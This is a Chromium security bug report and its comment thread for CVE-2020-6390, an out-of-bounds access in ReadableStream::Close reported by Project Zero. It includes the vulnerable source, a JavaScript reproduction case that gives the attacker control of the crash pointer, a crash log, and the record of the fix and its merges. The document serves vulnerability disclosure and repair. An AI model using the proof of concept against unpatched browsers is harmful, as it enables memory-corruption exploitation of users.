

☆ Starred by 5 users

Owner:

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Status:

Fixed (Closed)

Components:

Blink>Network>StreamsAPI

Modified:

May 6, 2020

Backlog-Rank:

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Editors:

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EstimatedDays:

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NextAction:

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OS:

Linux, Android, Windows, Chrome, Mac, Fuchsia

Pri:

1

Type:

Bug-Security

Needs-Feedback  
Security\_Impact-Stable  
M-80  
Security\_Severity-High  
ReleaseBlock-Stable  
allpublic  
ClusterFuzz-Wrong  
CVE\_description-submitted  
Target-79  
Target-80  
M-79  
VulnerabilityAnalysis-Requested  
VulnerabilityAnalysis-Submitted  
merge-merged-3987  
merge-merged-80  
merge-merged-4040  
Release-0-M80  
CVE-2020-6390

Issue 1045874: Security: OOB access in ReadableStream::Close

Reported by glazunov@google.com on Mon, Jan 27, 2020, 5:43 AM EST

Project Member

Code

VULNERABILITY DETAILS

[https://cs.chromium.org/chromium/src/third\\_party/blink/renderer/core/streams/readable\\_stream.cc?rcl=f8564dc434d8d2823a8c6441df5a198b1671cf36&l=1731](https://cs.chromium.org/chromium/src/third_party/blink/renderer/core/streams/readable_stream.cc?rcl=f8564dc434d8d2823a8c6441df5a198b1671cf36&l=1731)

```
void ReadableStream::Close(ScriptState* script_state, ReadableStream* stream) {  
  // https://streams.spec.whatwg.org/#readable-stream-close  
  // 1. Assert: stream.[[state]] is "readable".  
  DCHECK_EQ(stream->state_, kReadable);  
  
  // 2. Set stream.[[state]] to "closed".  
  stream->state_ = kClosed; // *** 1 ***  
  
  // 3. Let reader be stream.[[reader]].  
  ReadableStreamReader* reader = stream->reader_;  
  
  // 4. If reader is undefined, return.  
  if (!reader) {  
    return;  
  }  
  
  // TODO(ricea): Support BYOB readers.  
  // 5. If ! IsReadableStreamDefaultReader(reader) is true,  
  // a. Repeat for each readRequest that is an element of reader.  
  //    [[readRequests]],  
  for (StreamPromiseResolver* promise : reader->read_requests_) {  
    // i. Resolve readRequest.[[promise]] with !  
    //    ReadableStreamCreateReadResult(undefined, true, reader.  
    //    [[forAuthorCode]]).  
    promise->Resolve(script_state, // *** 2 ***  
      CreateReadResult(script_state, // *** 3 ***  
        v8::Undefined(script_state->GetIsolate()),  
        true, reader->for_author_code_);  
  }  
  
  // b. Set reader.[[readRequests]] to an empty List.  
  reader->read_requests_.clear(); // *** 4 ***  
  
  // 6. Resolve reader.[[closedPromise]] with undefined.  
  reader->closed_promise_->ResolveWithUndefined(script_state);  
}
```

'ReadableStream::Close' iterates through the elements of the 'read\_requests\_' container and resolves the associated JavaScript promise for each of them[2]. Promise resolution may invoke an attacker's JavaScript code since the ECMAScript specification requires the method to synchronously access the 'then' property of the resolution object, and the attacker can define an accessor for the property on 'Object.prototype', which will in the prototype chain of an object returned by

`CreateReadResult` [3].

If the attacker modifies `read\_requests\_` from inside the accessor, the iterator for the range based loop will become invalid, and subsequent iterations will result in out-of-bounds access. The most obvious means (like calling `cancel` on the reader object) won't work because the state of the stream has been already set to `kClosed` [1] by the time the accessor is executed. However, there are several methods that don't check that state property, for example, `ReadableStream::tee` allows the attacker to re-enter `Close` and clear the backing store of the container.

Note that the test case for this bug (except the line that allows the attacker to control the crash pointer) is already publicly available as it was originally reported in February 2019 as a part of <https://crbug.com/634640>. This vulnerability is different, though. It is a regression, which occurred when the JavaScript implementation of WHATWG Streams got replaced with the C++ one.

As an immediate fix we can move the contents of `read\_requests\_` into a local container before the loop and add additional checks to `tee` to prevent `ReadableStream::Close` from re-entering, but it is necessary to investigate other call paths where the state property isn't taken into account.

#### VERSION

Google Chrome 79.0.3945.130 (Official Build) (64-bit)

Chromium 81.0.4036.0 (Developer Build) (64-bit)

#### REPRODUCTION CASE

```
...
<body>
<script>
performMicrotaskCheckpoint = () => {
  document.createNodeIterator(document, -1, {
    acceptNode() {
      return NodeFilter.FILTER_ACCEPT;
    }
  }).nextNode();
}

runOutsideMicrotasksScope = func => {
  window.addEventListener("load", { get handleEvent() {
    func();
  }});
}

runOutsideMicrotasksScope (() => {
  let stream = new ReadableStream({ start(ctr) { controller = ctr } });
  let tee_streams = stream.tee();
  let reader = tee_streams[0].getReader();
  let request_count = 0x313370 / 8 + 1; // controls the pointer
  for (let i = 0; i < request_count; ++i)
    reader.read();
  let then_counter = 0;

  Object.prototype.__defineGetter__("then", () => {
    if (++then_counter == request_count - 1) {
      controller.close();
      performMicrotaskCheckpoint();
    }
  });
  reader.cancel();
});
</script>
</body>
...
```

The test case hits the following DCHECK in a debug build:

```
...
[10521:1:0127/111410.082494:FATAL:readable_stream_default_controller.cc(114)] Check failed: CanCloseOrEnqueue(controller).
[...]
#5 0x7f5c3441309a in blink::ReadableStreamDefaultController::Close(blink::ScriptState*, blink::ReadableStreamDefaultController*)
J.J./third_party/blink/renderer/core/streams/readable_stream_default_controller.cc:114:3
#6 0x7f5c34405d50 in blink::ReadableStream::TeeEngine::PullAlgorithm::ResolveFunction::CallWithLocal(v8::Local<v8::Value>)
J.J./third_party/blink/renderer/core/streams/readable_stream.cc:857:13
...
```

#### CREDIT INFORMATION

Sergei Glazunov of Google Project Zero

This bug is subject to a 90 day disclosure deadline. After 90 days elapse, the bug report will become visible to the public. The scheduled disclosure date is 2020-04-26. Disclosure at an earlier date is also possible if agreed upon by all parties.

**asan.log**  
9.7 KB [View](#) [Download](#)

**patch.diff**  
2.6 KB [View](#) [Download](#)

[Comment 1](#) by [adetaylor@google.com](mailto:adetaylor@google.com) on Mon, Jan 27, 2020, 9:26 AM EST

**Status:** Assigned (was: Unconfirmed)

**Owner:** [yhirano@chromium.org](mailto:yhirano@chromium.org)

**Cc:** [ricea@chromium.org](mailto:ricea@chromium.org) [dullweber@chromium.org](mailto:dullweber@chromium.org) [domenic@chromium.org](mailto:domenic@chromium.org)

**Labels:** Security\_Impact-Stable Security\_Severity-High OS-Android OS-Chrome OS-Fuchsia OS-Linux OS-Mac OS-Windows Pri-0

**Components:** Blink>Network>StreamsAPI

This is severity High, but marking as Priority 0 because Project Zero have given evidence that this may well be under exploitation in the wild. We should definitely aim to get the fix into M80 initial release.

Let's use this crbug to track the urgent fix. I'll file a follow-up crbug for follow-up actions such as checking other code paths.

Thanks glazunov!

[Comment 2](#) by [ClusterFuzz](#) on Mon, Jan 27, 2020, 9:27 AM EST

ClusterFuzz is analyzing your testcase. Developers can follow the progress at <https://clusterfuzz.com/testcase?key=4632731818459136>.

Comment 3 by [adetaylor@google.com](mailto:adetaylor@google.com) on Mon, Jan 27, 2020, 9:34 AM EST

Filed ~~issue-1045874~~ to represent checking correct states in general. Let's use this issue (1045874) for the immediate urgent fix and the new issue (1045931) for wider checks for similar problems. It may be that the latter crbug becomes Won't Fix if we get the entire fix out in this crbug.

Comment 4 by [ClusterFuzz](#) on Mon, Jan 27, 2020, 10:02 AM EST

Testcase 4632731818459136 failed to reproduce the crash. Please inspect the program output at <https://clusterfuzz.com/testcase?key=4632731818459136>.

Comment 5 by [ClusterFuzz](#) on Mon, Jan 27, 2020, 10:13 AM EST

ClusterFuzz is analyzing your testcase. Developers can follow the progress at <https://clusterfuzz.com/testcase?key=5875813717180416>.

Comment 6 by [ClusterFuzz](#) on Mon, Jan 27, 2020, 10:22 AM EST

ClusterFuzz is analyzing your testcase. Developers can follow the progress at <https://clusterfuzz.com/testcase?key=4926245236178944>.

Comment 7 by [ClusterFuzz](#) on Mon, Jan 27, 2020, 10:28 AM EST

ClusterFuzz is analyzing your testcase. Developers can follow the progress at <https://clusterfuzz.com/testcase?key=6471329924579328>.

Comment 8 by [sheriffbot@chromium.org](mailto:sheriffbot@chromium.org) on Mon, Jan 27, 2020, 11:13 AM EST

**Labels:** Target-79 M-79

Setting milestone and target because of Security\_Impact=Stable and high severity.

For more details visit <https://www.chromium.org/issue-tracking/autotriage> - Your friendly Sheriffbot

Comment 9 by [ClusterFuzz](#) on Mon, Jan 27, 2020, 11:36 AM EST

Testcase 6471329924579328 failed to reproduce the crash. Please inspect the program output at <https://clusterfuzz.com/testcase?key=6471329924579328>.

Comment 10 by [ClusterFuzz](#) on Mon, Jan 27, 2020, 11:41 AM EST

ClusterFuzz is analyzing your testcase. Developers can follow the progress at <https://clusterfuzz.com/testcase?key=4885933025460224>.

Comment 11 by [ClusterFuzz](#) on Mon, Jan 27, 2020, 11:42 AM EST

ClusterFuzz is analyzing your testcase. Developers can follow the progress at <https://clusterfuzz.com/testcase?key=6040106702012416>.

Comment 12 by [mmoroz@chromium.org](mailto:mmoroz@chromium.org) on Mon, Jan 27, 2020, 11:42 AM EST

Sorry for the spam. CF seems to be in a bad mood today and doesn't want to reproduce this, but I keep trying.

Comment 13 by [sheriffbot@chromium.org](mailto:sheriffbot@chromium.org) on Mon, Jan 27, 2020, 11:53 AM EST

**Labels:** -Pri-0 Pri-1

Setting Pri-1 to match security severity High. If this is incorrect, please reset the priority. Sheriffbot won't make this change again.

For more details visit <https://www.chromium.org/issue-tracking/autotriage> - Your friendly Sheriffbot

Comment 14 by [srinivassista@google.com](mailto:srinivassista@google.com) on Mon, Jan 27, 2020, 12:01 PM EST

**Labels:** Target-80 ReleaseBlock-Stable

Comment 15 by [gov...@chromium.org](mailto:gov...@chromium.org) on Mon, Jan 27, 2020, 12:29 PM EST

**Labels:** M-80

Comment 16 by [awhalley@google.com](mailto:awhalley@google.com) on Mon, Jan 27, 2020, 1:17 PM EST

Cc: [agrieve@google.com](mailto:agrieve@google.com) [jbroman@google.com](mailto:jbroman@google.com) [awhalley@google.com](mailto:awhalley@google.com)

Comment 17 by [ClusterFuzz](#) on Mon, Jan 27, 2020, 1:43 PM EST

Testcase 6040106702012416 failed to reproduce the crash. Please inspect the program output at <https://clusterfuzz.com/testcase?key=6040106702012416>.

Comment 18 by [ClusterFuzz](#) on Mon, Jan 27, 2020, 1:47 PM EST

Testcase 4885933025460224 failed to reproduce the crash. Please inspect the program output at <https://clusterfuzz.com/testcase?key=4885933025460224>.

Comment 19 by [adetaylor@google.com](mailto:adetaylor@google.com) on Mon, Jan 27, 2020, 2:50 PM EST

Cc: [adetaylor@chromium.org](mailto:adetaylor@chromium.org)

Comment 20 by [bugdroid](#) on Mon, Jan 27, 2020, 5:40 PM EST

The following revision refers to this bug:

<https://chromium.googlesource.com/chromium/src.git/+12310ed05f15fea5fa6824c6a6b5d86f81532e25>

commit [12310ed05f15fea5fa6824c6a6b5d86f81532e25](#)

Author: Jeremy Roman <[jbroman@chromium.org](mailto:jbroman@chromium.org)>

Date: Mon Jan 27 22:39:58 2020

Move ReadableStream requests onto the stack before iteration.

This might be subject to concurrent modification by script.

Contributed-by: Sergei Glazunov <[glazunov@google.com](mailto:glazunov@google.com)>

~~Bug-1045874~~

Change-Id: [I27f75b8a4db924bb4fe471abca439cbb7948c3c](#)

Reviewed-on: <https://chromium-review.googlesource.com/c/chromium/src/+2023354>

Commit-Queue: Jeremy Roman <[jbroman@chromium.org](mailto:jbroman@chromium.org)>

Commit-Queue: Domenic Denicola <[domenic@chromium.org](mailto:domenic@chromium.org)>

Auto-Submit: Jeremy Roman <[jbroman@chromium.org](mailto:jbroman@chromium.org)>

Reviewed-by: Domenic Denicola <[domenic@chromium.org](mailto:domenic@chromium.org)>

Cr-Commit-Position: refs/heads/master@{#735607}

[modify] [https://crrev.com/12310ed05f15fea5fa6824c6a6b5d86f81532e25/third\\_party/blink/renderer/core/streams/readable\\_stream.cc](https://crrev.com/12310ed05f15fea5fa6824c6a6b5d86f81532e25/third_party/blink/renderer/core/streams/readable_stream.cc)

[add] [https://crrev.com/12310ed05f15fea5fa6824c6a6b5d86f81532e25/third\\_party/blink/web\\_tests/http/tests/streams/chromium/concurrent-close.html](https://crrev.com/12310ed05f15fea5fa6824c6a6b5d86f81532e25/third_party/blink/web_tests/http/tests/streams/chromium/concurrent-close.html)

Comment 21 by [bugdroid](#) on Mon, Jan 27, 2020, 5:49 PM EST

**Labels:** merge-merged-4040

The following revision refers to this bug:

<https://chromium.googlesource.com/chromium/src.git/+9696e5823214e9e477a31ab3f3bae6efc73cb11b>

commit [9696e5823214e9e477a31ab3f3bae6efc73cb11b](#)

Author: Jeremy Roman <[jbroman@chromium.org](mailto:jbroman@chromium.org)>

Date: Mon Jan 27 22:47:16 2020

Move ReadableStream requests onto the stack before iteration.

This might be subject to concurrent modification by script.

Contributed-by: Sergei Glazunov <glazunov@google.com>

~~Issue-4045874~~

Change-Id: I27f75b8a4db924bb4fe471abca439cbb7948c3c

Reviewed-on: <https://chromium-review.googlesource.com/c/chromium/src/+2023363>

Reviewed-by: Krishna Govind <govind@chromium.org>

Cr-Commit-Position: refs/branch-heads/4040@{#11}

Cr-Branched-From: 88d2d6b0f91738730556df1bf6f5db6c4fd73bd5-refs/heads/master@{#735306}

[modify] [https://crrev.com/9696e5823214e9e477a31ab3f3bae6fc73cb11b/third\\_party/blink/renderer/core/streams/readable\\_stream.cc](https://crrev.com/9696e5823214e9e477a31ab3f3bae6fc73cb11b/third_party/blink/renderer/core/streams/readable_stream.cc)

[add] [https://crrev.com/9696e5823214e9e477a31ab3f3bae6fc73cb11b/third\\_party/blink/web\\_tests/http/tests/streams/chromium/concurrent-close.html](https://crrev.com/9696e5823214e9e477a31ab3f3bae6fc73cb11b/third_party/blink/web_tests/http/tests/streams/chromium/concurrent-close.html)

Comment 22 Deleted

Comment 23 Deleted

Comment 24 by ricea@chromium.org on Mon, Jan 27, 2020, 9:48 PM EST

Cc: glazunov@google.com

~~Issue-4046170~~ has been merged into this issue.

Comment 25 by srinivassista@google.com on Tue, Jan 28, 2020, 11:07 AM EST

pls verify the fix is working as intended on canary channel so we can get this merged to M80 branch today before 12pm PST for stable RC cut

Comment 26 by ClusterFuzz on Tue, Jan 28, 2020, 12:02 PM EST

Labels: -Security\_Impact-Stable Security\_Impact-Head

Detailed Report: <https://clusterfuzz.com/testcase?key=5875813717180416>

Fuzzer:

Job Type: android\_asan\_chrome\_latest

Platform Id: android:walleye:p

Crash Type: UNKNOWN READ

Crash Address: 0x001899b8

Crash State:

blink::ReadableStream::Close

pthread\_create

art::Thread::CreateNativeThread

Sanitizer: address (ASAN)

Recommended Security Severity: Medium

Crash Revision: [https://clusterfuzz.com/revisions?job=android\\_asan\\_chrome\\_latest&revision=673513](https://clusterfuzz.com/revisions?job=android_asan_chrome_latest&revision=673513)

Reproducer Testcase: [https://clusterfuzz.com/download?testcase\\_id=5875813717180416](https://clusterfuzz.com/download?testcase_id=5875813717180416)

The reproduce tool requires a ClusterFuzz source checkout. To prepare one, run:

git clone <https://github.com/google/clusterfuzz> && cd clusterfuzz && git checkout tags/reproduce-tool-stable

To reproduce this issue, run:

./reproduce.sh -t <https://clusterfuzz.com/testcase-detail/5875813717180416> -b /path/to/build

Please use the GN arguments provided in this report when building the binary. If you have any feedback on reproducing test cases, let us know at <https://forms.gle/Yh3qCYFvHj6E5jz5> so we can improve.

The recommended severity (Security\_Severity-Medium) is different from what was assigned to the bug. Please double check the accuracy of the assigned severity.

Comment 27 by adetaylor@google.com on Tue, Jan 28, 2020, 12:14 PM EST

Status: Fixed (was: Assigned)

Labels: -Security\_Impact-Head Security\_Impact-Stable ClusterFuzz-Wrong

I'm going to mark this as Fixed so that merge processes can start. Follow-up work can happen in ~~Issue-4045874~~.

Also, I don't believe the ClusterFuzz deduction of Security\_Impact-Head so I'm undoing that.

Comment 28 by sheriffbot@chromium.org on Tue, Jan 28, 2020, 12:17 PM EST

Labels: -Restrict-View-SecurityTeam Restrict-View-SecurityNotify

Comment 29 by gov...@chromium.org on Tue, Jan 28, 2020, 12:20 PM EST

Labels: Merge-Approved-80

Approving merge to M80 branch 3987 based on [comment #27](#). Please merge if change continue to look good in canary.

Comment 30 by jbroman@chromium.org on Tue, Jan 28, 2020, 1:28 PM EST

Not seeing any new crashes that look relevant. Given the patch looked okay to ricea@, deadline in #25 and Tokyo being asleep until after 12pm PST, I'll merge to 3987.

Comment 31 by gov...@chromium.org on Tue, Jan 28, 2020, 1:30 PM EST

Re #30, thank you for checking canary. Please move forward with M80 merge.

Comment 32 by jbroman@chromium.org on Tue, Jan 28, 2020, 1:34 PM EST

Cherry pick is in the M80 branch CQ: <https://chromium-review.googlesource.com/c/chromium/src/+2025573>

Comment 33 by bugdroid on Tue, Jan 28, 2020, 3:02 PM EST

Labels: -merge-approved-80 merge-merged-3987 merge-merged-80

The following revision refers to this bug:

<https://chromium.googlesource.com/chromium/src.git/+45dcceba6963cf32d3205a5834231780cee55a82>

commit 45dcceba6963cf32d3205a5834231780cee55a82

Author: Jeremy Roman <jbroman@chromium.org>

Date: Tue Jan 28 19:57:55 2020

Move ReadableStream requests onto the stack before iteration.

This might be subject to concurrent modification by script.

(cherry picked from commit 12310ed05f15fea5fa6824c6a6b5d86f81532e25)

Contributed-by: Sergei Glazunov <glazunov@google.com>

[Bug-4045874](#)

Change-Id: I27f75b8a4db924bb4fe471abca439cbb7948c3c

Reviewed-on: <https://chromium-review.googlesource.com/c/chromium/src/+2023354>

Commit-Queue: Jeremy Roman <jbroman@chromium.org>

Commit-Queue: Domenic Denicola <domenic@chromium.org>

Auto-Submit: Jeremy Roman <jbroman@chromium.org>

Reviewed-by: Domenic Denicola <domenic@chromium.org>

Tbr: [ricea@chromium.org](mailto:ricea@chromium.org)

Cr-Original-Commit-Position: refs/heads/master@{#735607}

Reviewed-on: <https://chromium-review.googlesource.com/c/chromium/src/+2025573>

Reviewed-by: Jeremy Roman <jbroman@chromium.org>

Cr-Commit-Position: refs/branch-heads/3987@{#731}

Cr-Branched-From: [c4e8da9871cc266be74481e212f3a5252972509d](#)-refs/heads/master@{#722274}

[modify] [https://crrev.com/45dceba6963cf32d3205a5834231780cee55a82/third\\_party/blink/renderer/core/streams/readable\\_stream.cc](https://crrev.com/45dceba6963cf32d3205a5834231780cee55a82/third_party/blink/renderer/core/streams/readable_stream.cc)

[add] [https://crrev.com/45dceba6963cf32d3205a5834231780cee55a82/third\\_party/blink/web\\_tests/http/tests/streams/chromium/concurrent-close.html](https://crrev.com/45dceba6963cf32d3205a5834231780cee55a82/third_party/blink/web_tests/http/tests/streams/chromium/concurrent-close.html)

[Comment 34](#) by [glazunov@google.com](mailto:glazunov@google.com) on Wed, Jan 29, 2020, 8:21 AM EST Project Member

As a follow-up to [comment #1](#) above, please note that Project Zero does "not" have evidence that this is being actively exploited in the wild (otherwise we would have reported it under a 7-day deadline).

A concern is that the test case in [issue-934649](#) triggers this different vulnerability. This new vulnerability becomes quite obvious once you've seen the crashing line, so I still support fixing this expediently in case there is exploitation in the wild.

[Comment 35](#) by [adetaylor@google.com](mailto:adetaylor@google.com) on Sat, Feb 1, 2020, 8:13 PM EST

**Labels:** Release-0-M80

[Comment 36](#) by [adetaylor@chromium.org](mailto:adetaylor@chromium.org) on Mon, Feb 3, 2020, 6:46 PM EST

**Labels:** CVE-2020-6390 CVE\_description-missing

[Comment 37](#) by [mmoroz@google.com](mailto:mmoroz@google.com) on Tue, Feb 4, 2020, 11:54 AM EST

**Labels:** VulnerabilityAnalysis-Requested

yhirano@, thank you for fixing this issue. Chrome Security team needs your knowledge to prevent that whole class of bugs from happening elsewhere. We would greatly appreciate if you could tell us more about the issue by filling out the following form: <https://forms.gle/VWKDUv9a8GXCCRWm7>

[Comment 38](#) by [ClusterFuzz](#) on Tue, Feb 4, 2020, 5:27 PM EST

**Labels:** Needs-Feedback

ClusterFuzz testcase 5875813717180416 is still reproducing on tip-of-tree build (trunk).

Please re-test your fix against this testcase and if the fix was incorrect or incomplete, please re-open the bug. Otherwise, ignore this notification and add the ClusterFuzz-Wrong label.

[Comment 39](#) by [mmoroz@google.com](mailto:mmoroz@google.com) on Wed, Feb 5, 2020, 5:00 PM EST

**Labels:** VulnerabilityAnalysis-Submitted

[Comment 40](#) by [adetaylor@chromium.org](mailto:adetaylor@chromium.org) on Mon, Feb 10, 2020, 4:37 PM EST

**Labels:** -CVE\_description-missing CVE\_description-submitted

[Comment 41](#) by [adetaylor@google.com](mailto:adetaylor@google.com) on Wed, Mar 4, 2020, 1:44 PM EST

**Cc:** [achuith@chromium.org](mailto:achuith@chromium.org)

[Comment 42](#) by [sheriffbot](#) on Wed, May 6, 2020, 2:55 PM EDT

**Labels:** -Restrict-View-SecurityNotify allpublic

This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit <https://www.chromium.org/issue-tracking/autotriage> - Your friendly Sheriffbot